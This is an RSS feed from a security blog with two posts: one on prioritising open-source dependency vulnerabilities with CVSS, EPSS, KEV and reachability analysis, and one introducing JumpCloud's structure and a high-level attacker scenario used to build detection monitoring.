<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>goutham madhwaraj, Author at</title>
	<atom:link href="https://barriersec.com/author/goutham/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/author/goutham/</link>
	<description></description>
	<lastBuildDate>Fri, 27 Oct 2023 10:23:05 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>goutham madhwaraj, Author at</title>
	<link>https://barriersec.com/author/goutham/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Open Source Vulnerability Management : Insights on Prioritisation</title>
		<link>https://barriersec.com/2023/10/open-source-vulnerability-management-insights-on-prioritisation/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Fri, 27 Oct 2023 11:37:01 +0000</pubDate>
				<category><![CDATA[Appsec]]></category>
		<category><![CDATA[vulnerability prioritisation]]></category>
		<category><![CDATA[EPSS]]></category>
		<category><![CDATA[KEV]]></category>
		<category><![CDATA[supply chain security]]></category>
		<category><![CDATA[third party dependency management]]></category>
		<category><![CDATA[vulnerability management]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=876</guid>

					<description><![CDATA[<p>In virtually every company, developers rely on open-source libraries and third-party code to expedite their development efforts. While this approach&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2023/10/open-source-vulnerability-management-insights-on-prioritisation/">Open Source Vulnerability Management : Insights on Prioritisation</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>In virtually every company, developers rely on open-source libraries and third-party code to expedite their development efforts. While this approach can be highly beneficial, it also introduces unique risks that require careful consideration.</p>
<p>One significant concern revolves around Open Source License Obligations, a topic that deserves its own post to delve into in depth. Furthermore, it&#8217;s essential to address disclosed security vulnerabilities associated with these libraries.Traditionally, the mantra for many internal security teams has been to &#8220;run a vulnerability scanner and fix all &#8216;High&#8217; and &#8216;Critical&#8217; issues&#8221; when dealing with security problems in third-party libraries. However, this approach may prove impractical in fast-paced or large companies with a microservices architecture.</p>
<p>In a typical company that employs a microservices based architecture, there may be hundreds of microservices, each with a unique set of third-party open-source dependencies spanning a wide range of technology stacks. Monitoring these service-level third-party dependencies using popular scanners like Dependabot can lead to an influx of daily alerts. These alerts cover a spectrum of issues, from straightforward package version upgrades to complex dependency conflicts.</p>
<p>Most of these scanners assign a severity rating based on the Common Vulnerability Scoring System (CVSS), with Version 3 (CVSS V3) being the widely adopted standard at the time of this writing. However, crafting security policies and making decisions solely based on the CVSS score can lead to an overwhelming number of vulnerabilities to address. This can result in developers not taking these alerts seriously or struggling to manage them effectively.</p>
<h4><strong>Prioritising Vulnerabilities Detected by Scanners:</strong></h4>
<p>Vulnerability prioritisation is an essential process in modern cybersecurity that involves identifying and ranking security vulnerabilities based on their severity and potential impact on an organization&#8217;s systems and data. Prioritisation is crucial because it allows security teams to focus their limited resources on the most critical vulnerabilities, thereby reducing the overall risk to the organization.</p>
<h4 data-renderer-start-pos="504"><strong>Why Do we Need Vulnerability Prioritisation?</strong></h4>
<p>At present, the Common Vulnerability Scoring System (CVSS) serves as a widely embraced approach for evaluating the seriousness of security vulnerabilities. It assigns a numerical rating on a scale from 0 to 10 to gauge the potential impact of a vulnerability, taking into consideration factors such as the intricacy of the exploit and the potential consequences for the compromised system. Although the CVSS scoring system proves valuable for prioritising vulnerabilities, it does have certain constraints that limit its effectiveness when used in isolation.</p>
<p>To begin with, the CVSS scoring system relies on a set of predefined metrics, which may not fully capture the intricacies and repercussions of certain vulnerabilities. For instance, a vulnerability might receive a less severity rating according to the CVSS score, yet in reality, it could be a part of a more extensive attack sequence that might lead to a significant security breach.</p>
<p>Additionally, the CVSS scoring system primarily concentrates on technical aspects and does not factor in the business impact of a vulnerability. This can result in situations where vulnerabilities with substantial implications for business operations or critical data receive lower severity ratings than less impactful vulnerabilities.</p>
<p>Finally, the CVSS scoring system doesn&#8217;t incorporate the likelihood of a vulnerability being exploited in real-world scenarios. Vulnerabilities with low CVSS scores may still be actively targeted by malicious actors if there are no effective countermeasures in place or if the vulnerability is part of a widespread cyberattack campaign.</p>
<h4>How Can We Achieve Vulnerability Prioritisation?</h4>
<p>There are few crucial attributes to look at whenever we analyse a third party library security alert. Note that this can be extensively applied to other assets / systems. (containers, servers etc)</p>
<ol>
<li>Is it a direct / transitive dependency?</li>
<li>Is it a runtime / Development Dependency ?</li>
<li>Is the vulnerable function from the affected dependency reachable by first party code?(Reachability Analysis)</li>
<li>What are the attack trends associated with the discovered vulnerability(PoC exploit available? etc) and how to prioritise based on such trends?</li>
<li>Is Patch Available / package abandoned by maintainer?</li>
</ol>
<h5><strong>Is it a direct / transitive dependency?</strong></h5>
<p>Security vulnerabilities in your project&#8217;s / service&#8217;s <strong>direct dependencies</strong> should be given the <strong>highest priority</strong>. These are the libraries or packages you explicitly include in your project, and any vulnerabilities in them directly affect your code. Transitive dependencies are the libraries or packages that your direct dependencies rely on.While they are not directly part of your codebase, they can still pose a risk if they have known security issues.</p>
<h5><strong>Is it a runtime / Development Dependency ?</strong></h5>
<p>If you work in a typical company environment that was described earlier, you would know about 10&#8217;s of ReDOS vulnerability alerts that are marked as &#8220;High&#8221; on a day to day basis by these scanners . dependencies marked with &#8220;development&#8221; attribute  . DevDependencies often include things like testing frameworks, build tools, linters, and other development-related libraries or packages. These dependencies are essential for developers working on the project to ensure code quality, test functionality, and build the software, but they do not need to be installed or included in the final production deployment.</p>
<p>In contrast, &#8220;dependencies&#8221; (without the &#8220;dev&#8221; prefix) refer to the packages or libraries that a software project relies on for its normal operation during runtime. These are essential components of the software and must be installed and available when the software is used in production.</p>
<p><strong>Runtime Dependency</strong> <strong>issues</strong> should be given the <strong>highest priority</strong> as its reachable / exposed to attackers when application is in production.</p>
<p><strong>Tip: Dependabot has a rule which can be configured to auto dismiss low impactful alerts and can be enabled in security analysis settings.</strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-878" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-10-27-at-9.52.25-AM.png" alt="" width="1710" height="600" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-10-27-at-9.52.25-AM.png 1710w, https://barriersec.com/wp-content/uploads/Screenshot-2023-10-27-at-9.52.25-AM-300x105.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-10-27-at-9.52.25-AM-1024x359.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-10-27-at-9.52.25-AM-768x269.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-10-27-at-9.52.25-AM-1536x539.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-10-27-at-9.52.25-AM-1600x561.png 1600w" sizes="(max-width: 1710px) 100vw, 1710px" /></p>
<h5><strong>Is the vulnerable function / code from the affected third party dependency reachable by first party code?(Reachability Analysis)</strong></h5>
<p>Next prioritisation attribute to look at is &#8220;<strong>Reachability</strong>&#8221; . Vulnerability can only be exploited by a threat actor if our first party code consumes vulnerable function from the third party library and is reachable to an external threat actor via any means. ( functionality on web etc). There are several Reachability analysis tools which are efficient &amp; commercial for automated reachability analysis for better prioritisation. ( <a href="https://www.endorlabs.com/">https://www.endorlabs.com/  </a>&amp; <a href="https://semgrep.dev/products/semgrep-supply-chain/">https://semgrep.dev/products/semgrep-supply-chain/</a> ) .</p>
<p><strong>Vulnerabilities which are reachable by first party code should be given highest priority. </strong>If you plan to conduct manual reachability analysis, it&#8217;s crucial to recognize that this should be an ongoing, recurrent task. Even if there are currently no existing references for your analysis, it&#8217;s essential to acknowledge the potential for such references to emerge in the future. This looming possibility, often likened to a &#8220;ticking time bomb,&#8221; underscores the importance of not disregarding this task. Utilising automated reachability analysis tools is the recommended approach to address this concern effectively.</p>
<h5><strong>What are the attack trends associated with the discovered vulnerability(PoC exploit available?) and how to prioritise based on such trends?</strong></h5>
<p>Most of the alerts received by scanners has a CVSS score and CVE ID attached.As CVSS v3 do not take into account of attack trends , For effective prioritisation of vulnerabilities , it can be combined with metrics such as <strong data-renderer-mark="true">Exploit Predictability Score System ( EPSS ) and can be clubbed with other feeds such as CISA’s Known Exploited Vulnerabilities Catalog ( KEV).</strong></p>
<h6><strong data-renderer-mark="true">Exploit Predictability Score System : (EPSS) (<a href="https://www.first.org/epss/">here</a>)</strong></h6>
<p data-renderer-start-pos="2079">One effective method of prioritisation is the use of an exploit predictability score system, which assigns a score to vulnerabilities based on the likelihood that they will be exploited by threat actors in next 30 days. The system works by analysing factors such as the availability of exploit code, the complexity of the vulnerability, and the popularity of the affected software or system. By using an exploit predictability score system to prioritise vulnerabilities, organisations can focus their efforts on addressing the most critical threats first. This approach allows security teams to efficiently allocate resources and remediate vulnerabilities before they are exploited, thereby reducing the risk of data breaches, downtime, and other security incidents.</p>
<h6 data-renderer-start-pos="3150"><strong data-renderer-mark="true">CISA’s Known Exploited Vulnerabilities Catalog: (KEV)(<a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">here</a>)</strong></h6>
<p data-renderer-start-pos="3205">CISA&#8217;s Known Exploited Vulnerabilities Catalog is a public database maintained by the United States Cybersecurity and Infrastructure Security Agency (CISA). The catalog provides information on known vulnerabilities that have been exploited by cybercriminals, as well as information on the tactics, techniques, and procedures (TTPs) used in those attacks.The catalog contains a list of Common Vulnerabilities and Exposures (CVEs) that have been actively exploited by threat actors, along with information on the types of attacks and malware associated with each CVE. The catalog is regularly updated with new information as it becomes available, making it a valuable resource for security teams and other stakeholders.</p>
<p data-renderer-start-pos="3205">The following Sample Prioritisation matrix can be used internally for better prioritisation of vulnerabilities combining CVSS V3 Severity , EPSS Score and KEV.</p>
<table data-testid="renderer-table" data-number-column="false">
<colgroup>
<col />
<col />
<col />
<col /></colgroup>
<tbody>
<tr>
<th class="ak-renderer-tableHeader-sortable-column__wrapper" colspan="1" rowspan="1" data-colwidth="190" aria-sort="none">
<div class="ak-renderer-tableHeader-sortable-column">
<p data-renderer-start-pos="4"><strong data-renderer-mark="true">CVSS v3 Severity</strong></p>
<figure class="ak-renderer-tableHeader-sorting-icon__wrapper ak-renderer-tableHeader-sorting-icon__no-order">
<div role="presentation">
<div class="ak-renderer-tableHeader-sorting-icon confluence-ssr-app-gls7uu" tabindex="0" role="button" aria-label="No sort applied to the column" aria-disabled="false" aria-describedby="967val-tooltip">
<div class="sorting-icon-svg__no_order ak-renderer-tableHeader-sorting-icon-inactive confluence-ssr-app-37qivc">
<div class="confluence-ssr-app-1h55k8m"></div>
</div>
</div>
</div>
</figure>
</div>
</th>
<th class="ak-renderer-tableHeader-sortable-column__wrapper" colspan="1" rowspan="1" data-colwidth="190" aria-sort="none">
<div class="ak-renderer-tableHeader-sortable-column">
<p data-renderer-start-pos="24"><strong data-renderer-mark="true">EPSS V3 Probability Score</strong></p>
<figure class="ak-renderer-tableHeader-sorting-icon__wrapper ak-renderer-tableHeader-sorting-icon__no-order">
<div role="presentation">
<div class="ak-renderer-tableHeader-sorting-icon confluence-ssr-app-gls7uu" tabindex="0" role="button" aria-label="No sort applied to the column" aria-disabled="false" aria-describedby="968val-tooltip">
<div class="sorting-icon-svg__no_order ak-renderer-tableHeader-sorting-icon-inactive confluence-ssr-app-37qivc">
<div class="confluence-ssr-app-1h55k8m"></div>
</div>
</div>
</div>
</figure>
</div>
</th>
<th class="ak-renderer-tableHeader-sortable-column__wrapper" colspan="1" rowspan="1" data-colwidth="190" aria-sort="none">
<div class="ak-renderer-tableHeader-sortable-column">
<p data-renderer-start-pos="53"><strong data-renderer-mark="true">Is in KEV Database?</strong></p>
<figure class="ak-renderer-tableHeader-sorting-icon__wrapper ak-renderer-tableHeader-sorting-icon__no-order">
<div role="presentation">
<div class="ak-renderer-tableHeader-sorting-icon confluence-ssr-app-gls7uu" tabindex="0" role="button" aria-label="No sort applied to the column" aria-disabled="false">
<div class="sorting-icon-svg__no_order ak-renderer-tableHeader-sorting-icon-inactive confluence-ssr-app-37qivc">
<div class="confluence-ssr-app-1h55k8m"></div>
</div>
</div>
</div>
</figure>
</div>
</th>
<th class="ak-renderer-tableHeader-sortable-column__wrapper" colspan="1" rowspan="1" data-colwidth="190" aria-sort="none">
<div class="ak-renderer-tableHeader-sortable-column">
<p data-renderer-start-pos="76"><strong data-renderer-mark="true">Final Internal Priority</strong></p>
<figure class="ak-renderer-tableHeader-sorting-icon__wrapper ak-renderer-tableHeader-sorting-icon__no-order">
<div role="presentation">
<div class="ak-renderer-tableHeader-sorting-icon confluence-ssr-app-gls7uu" tabindex="0" role="button" aria-label="No sort applied to the column" aria-disabled="false" aria-describedby="970val-tooltip">
<div class="sorting-icon-svg__no_order ak-renderer-tableHeader-sorting-icon-inactive confluence-ssr-app-37qivc">
<div class="confluence-ssr-app-1h55k8m"></div>
</div>
</div>
</div>
</figure>
</div>
</th>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="105">Critical</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="117">ANY</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="124">Yes</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="131"><strong data-renderer-mark="true">P0</strong> if reachable by First Party Code, <strong data-renderer-mark="true">P2</strong> if not reachable</p>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="193">High</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="203">ANY</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="210">Yes</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="217"><strong data-renderer-mark="true">P1</strong> if reachable by First Party Code , <strong data-renderer-mark="true">P2</strong> if not reachable.</p>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="281">Medium</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="293">ANY</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="300">Yes</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="307"><strong data-renderer-mark="true">P2</strong> if reachable by First Party Code , <strong data-renderer-mark="true">P3</strong> if not reachable.</p>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="372">Critical</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="384">0.088 &amp; above</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="401">No</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="407"><strong data-renderer-mark="true">P0</strong> if reachable by First Party Code , <strong data-renderer-mark="true">P2</strong> if not reachable.</p>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="472">High</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="480">0.088 &amp; above</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="497">No</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="503"><strong data-renderer-mark="true">P1</strong> if reachable by First Party Code , <strong data-renderer-mark="true">P3</strong> if not reachable.</p>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="567">Medium</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="578">0.088 &amp; above</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="595">No</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="601"><strong data-renderer-mark="true">P2</strong> if reachable by First Party Code , <strong data-renderer-mark="true">P3</strong> if not reachable.</p>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="666">High / Critical</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="686">&lt; 0.088</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="697">No</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="703"><strong data-renderer-mark="true">P2</strong> if reachable by First Party Code, <strong data-renderer-mark="true">P3</strong> if not reachable.</p>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="766">Medium</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="776">&lt; 0.088</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="787">No</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="793"><strong data-renderer-mark="true">P3</strong></p>
</div>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="801">Low</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="810">ANY</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="817">ANY</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="824"><strong data-renderer-mark="true">P3</strong></p>
</div>
</td>
</tr>
</tbody>
</table>
<p>this matrix , assumes you are not using automated reachability analysis tools and are blinded by the &#8220;time bomb&#8221; scenario that was mentioned in the reachability part. Offering development teams a bit of extra buffer time for issue resolution would undoubtedly be appreciated. The prioritisation matrix can be tailored to align with your company&#8217;s preferences and risk tolerance</p>
<h6><strong>Example :</strong></h6>
<p>lets assume &#8216;<strong>P0</strong>&#8216; critical vulnerability in your third party library discovered via an alerting tool. and <strong>SLA to fix P0 is 48 hours , SLA to fix P1 is 72 hours ,SLA to fix P2 is 7 days , SLA to fix P3 is 15 days.</strong></p>
<p>Without the above prioritisation ,final priority would be <strong>&#8220;P0&#8221;</strong> Developers need to fix this issue within <strong>48 hours</strong>. considering the above prioritisation , assuming <strong>EPSS score</strong> is <strong>&lt; 0.088</strong> and not reachable by first party code &amp; also vulnerability is not available in KEV catalog, its final priority would be <strong>P3, buying 13 more days of time to fix</strong> .</p>
<p><strong>Note : EPSS score (<a href="https://www.first.org/epss/api">api</a>), KEV catalog(<a href="https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json">here</a>) details should be fetched every day as scores are updated everyday and can be used for reprioritisation of historical open alerts based on the changes. Reachability analysis should be done on recurring basis to make sure there are no new references after past analysis.</strong></p>
<h6><strong>Why have we taken 0.088 as EPSS V3 score baseline?</strong></h6>
<p>As rightly highlighted <a href="https://www.endorlabs.com/blog/epss-exploit-prediction-reachability-analysis">here</a> , the following baseline score was chosen. it can be modified as per companies risk appetite and availability of resources to fix the vulnerability .</p>
<h5>Is Patch Available / package abandoned by maintainer?</h5>
<p>Frequently, identified vulnerabilities lack an active patch, and, in more concerning cases, the maintainer has abandoned them. It is essential to give priority to alerts with available patches, but abandoned vulnerabilities should not be disregarded. They still represent potential threats, and their prioritization can be based on other attributes and the availability of potential workarounds. Considering an abandoned package as a risk, exploring the transition to an alternative package, or even taking on in-house maintenance can be viable steps in mitigating this risk.</p>
<h3>References :</h3>
<ol>
<li><a href="https://www.endorlabs.com/blog/epss-exploit-prediction-reachability-analysis">https://www.endorlabs.com/blog/epss-exploit-prediction-reachability-analysis</a></li>
<li><a href="https://arxiv.org/pdf/2302.14172.pdf">https://arxiv.org/pdf/2302.14172.pdf</a></li>
<li><a href="https://www.first.org/epss/#">https://www.first.org/epss/#</a></li>
<li><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">https://www.cisa.gov/known-exploited-vulnerabilities-catalog</a></li>
</ol>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2023/10/open-source-vulnerability-management-insights-on-prioritisation/">Open Source Vulnerability Management : Insights on Prioritisation</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Jumpcloud and Security : tidbit for Attack and Detect</title>
		<link>https://barriersec.com/2023/09/jumpcloud-and-security-tidbit-for-attack-and-detect/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Tue, 19 Sep 2023 21:29:09 +0000</pubDate>
				<category><![CDATA[Attack & Detect]]></category>
		<category><![CDATA[adversary simulation]]></category>
		<category><![CDATA[jumpcloud]]></category>
		<category><![CDATA[offensive security]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[security monitoring]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=836</guid>

					<description><![CDATA[<p>Intention: JumpCloud(link), a cloud directory service, shares many similarities with Active Directory and offers efficient capabilities. In this post, we&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2023/09/jumpcloud-and-security-tidbit-for-attack-and-detect/">Jumpcloud and Security : tidbit for Attack and Detect</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<h4 class="p1"><b>Intention: </b></h4>
<p>JumpCloud(<a href="http://jumpcloud.com">link</a>), a cloud directory service, shares many similarities with Active Directory and offers efficient capabilities. In this post, we aim to provide clarity on a pressing question:</p>
<h6><strong>How quickly can we detect a compromised JumpCloud Administrator API token or Admin account, and why is it crucial?</strong></h6>
<p>Recent events, such as JumpCloud&#8217;s own security breach [<a href="https://www.mandiant.com/resources/blog/north-korea-supply-chain">link</a>], have underscored the importance of early detection and monitoring in such scenarios. During their breach incident, it was revealed that their internal commands framework had been compromised, leading to the deployment of a malicious script into customer environments.(<a href="https://jumpcloud.com/blog/security-update-june-20-incident-details-and-remediation">here</a>) , based on the incident details provided by JumpCloud &amp; Mandiant, we could infer Jumpcloud Internal Employee who had access to production database was compromised via spear phishing ,abusing his access, several malicious command jobs were scheduled on handful of JC customers organisation&#8217;s endpoints via database injection which finally resulted in infection of victims. This incident serves as a stark reminder for customers to enhance their monitoring of the JumpCloud network.</p>
<p>Furthermore, the growing trend of threat actors exploiting legitimate tools for command and control makes it imperative for the broader security community to be informed about ways to monitor such tools effectively.</p>
<p>This post is structured to provide insights for both offensive and defensive teams. It offers an overview of JumpCloud (JC) network, insights into the attacker&#8217;s perspective, and guidance on building monitoring capabilities for defenders.</p>
<p>Below are my personal notes and key takeaways from a recent engagement I participated in to help Detection team build monitoring around JumpCloud acting as an adversary.</p>
<h4><strong>Introduction:</strong></h4>
<p>JumpCloud&#8217;s similarity to Active Directory is notable. A JumpCloud Admin account can be equated to a Domain Admin Account in an Active Directory environment, granting extensive access to the entire JumpCloud network. The longer a threat actor remains undetected within the network, the more damage they can inflict. Therefore, it is of utmost importance to establish robust monitoring systems around JumpCloud to promptly identify and contain any anomalous behaviour.</p>
<p>To simplify the components and workflow of JumpCloud(JC) in comparison to traditional AD, there are several key elements:</p>
<ol>
<li><strong>User Objects:</strong> These represent individual users and their credentials.</li>
<li><strong>System Objects:</strong> These represent machines or devices that are enrolled in JumpCloud.</li>
<li><strong>User Groups:</strong> These are collections of users grouped together for various purposes, such as &#8220;devs,&#8221; &#8220;sysadmins,&#8221; or &#8220;marketing.&#8221;</li>
<li><strong>System/Device Groups:</strong> These are collections of systems or devices, like servers or end-user machines, organised for management purposes.</li>
<li><strong>Policy Objects:</strong> These are policies that can be applied to a system group or individual system to enforce specific configurations or security settings.</li>
<li><strong>Policy Groups:</strong> These consist of multiple policies grouped together and associated with a device or system.</li>
<li><strong>Command Object:</strong> This allows for the execution of individual commands on a system or system group for administrative purposes.</li>
</ol>
<p>In summary, JumpCloud involves managing user and system objects, organising users and systems into groups, applying policies to enforce configurations, and executing commands as needed.</p>
<p class="p1">System administrators enroll devices in JumpCloud by installing the JumpCloud agent. This agent acts as an initialisation service, facilitating communication with JumpCloud&#8217;s servers. Once enrolled, administrators can manage devices using either the JumpCloud console or APIs, and JumpCloud&#8217;s cross-platform compatibility ensures it works seamlessly across different operating systems, including Windows, Mac, and Linux.</p>
<p class="p1">JumpCloud (JC) APIs consist of three distinct sets of APIs. When a threat actor possesses a JC API token, achieving persistence and enumeration becomes relatively straightforward due to the APIs&#8217; accessibility over the public internet.</p>
<h5 class="p1"><b>Directory Insights API</b></h5>
<p class="p3">Directory Insights API allows you to query directory events at your organization. It provides event logs of activity within your directory and monitors user authentications to the console, SSO, RADIUS, and LDAP. Shine a light on your audit trails leading up to critical events. This is the backbone of our monitoring around JC. each operation done by an administrator or a user on JC generate specific event types, using which we can build our monitoring.Feeding the Jumpcloud directory insights event logs to SIEM systems is a must.</p>
<p class="p3"><strong>Note: Access to Directory insights is only available on selective plans.</strong>(<a href="https://jumpcloud.com/pricing">here</a>)<strong>We either can use directory insights API for monitoring JC events / use a third SIEM tools ( like Splunk) to ingest JC logs and build monitoring around it.</strong></p>
<h6 class="p3"><strong>version 1: <a href="https://docs.jumpcloud.com/api/insights/directory/1.0/index.html">https://docs.jumpcloud.com/api/insights/directory/1.0/index.html</a></strong></h6>
<h5 class="p2"><b>JumpCloud API</b></h5>
<p class="p1">JumpCloud currently utilises two versions of APIs. Depending on the type of integration, it may be required to use both V1 and V2 APIs.</p>
<h6 class="p1"><strong>version 1 : </strong><a href="https://docs.jumpcloud.com/api/1.0/index.html">JumpCloud API Docs</a></h6>
<h6 class="p1"><strong>version 2: </strong><a href="https://docs.jumpcloud.com/api/2.0/index.html">JumpCloud API Docs</a></h6>
<p>To conclude, directory insight events can be used to build detection &amp; monitoring around jumpcloud. JumpCloud API can be used to emulate threat actor actions.</p>
<h4><strong>Scenario:</strong></h4>
<p>let&#8217;s delve into the exciting aspect: a non-exhaustive list of JumpCloud (JC) events that can be triggered by a threat actor once they&#8217;ve infiltrated the compromised JC network. In this scenario, we&#8217;ll assume a threat actor has executed the following actions, and we&#8217;ll explore methods to detect these events if available. For clarity, we&#8217;ve simplified the scenario covering following steps:</p>
<ol>
<li><strong>Data Gathering and Enumeration:</strong> The threat actor begins by gathering all data and enumerating the existing JC environment.</li>
<li><strong>Malicious Group Policy Creation:</strong> They proceed to create a malicious group policy within JC.</li>
<li><strong>Attaching the Malicious Group Policy:</strong> The actor attaches this malicious group policy to system groups, such as &#8216;windows-group&#8217; or &#8216;mac-group.&#8217;</li>
<li><strong>Remote Command Execution:</strong> The threat actor executes remote commands on systems or system groups within JC.</li>
<li><strong>System Data Erasure via MDM:</strong> Using JC&#8217;s Mobile Device Management (MDM) feature, they erase all system data across all systems.</li>
<li><strong>Malicious Group Policy Deletion:</strong> Lastly, the actor deletes the malicious group policy and erases all previously created commands.</li>
</ol>
<p>For each of these actions, we will identify the monitoring capabilities if available. Additionally, we will highlight key detection events corresponding to these actions.</p>
